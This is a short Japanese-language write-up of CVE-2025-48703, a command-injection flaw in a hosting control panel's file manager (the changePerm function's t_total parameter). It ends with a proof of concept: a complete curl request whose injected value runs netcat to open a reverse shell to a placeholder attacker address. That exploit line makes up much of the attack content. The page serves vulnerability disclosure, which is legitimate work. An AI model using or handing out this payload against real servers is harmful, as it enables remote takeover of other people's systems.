🛡️ CVE-2025-48703 - cPanel ファイルマネージャーにおけるリモートコード実行（RCE）

📌 説明

CVE-2025-48703 は、ウェブホスティングコントロールパネル（例：cPanel）の filemanager モジュールにおけるリモートコード実行（RCE）の脆弱性です。これは、acc=changePerm 関数における 未サニタイズの入力処理 が原因で発生し、攻撃者が t_total パラメータを使用して任意のシステムコマンドを注入・実行することを可能にします。

🧨 影響

この脆弱性により、攻撃者は以下が可能になります：

• ターゲットサーバー上で任意のコマンドを実行する。
• 持続的なアクセスのためにリバースシェルを確立する。
• 権限を昇格したり、横方向に移動したりする可能性。

⚠️ この攻撃は、最小限の認証で、または一部の構成では認証なしで実行できます。

🚀 概念実証（PoC）

✅ リバースシェルコマンド

curl -kis 'https://<TARGET_IP>:2083/myuser/index.php?module=filemanager&acc=changePerm' \
  --data 'fileName=.bashrc&currentPath=/home/myuser&t_total=`nc <ATTACKER_IP> 4444 -e /bin/bash`'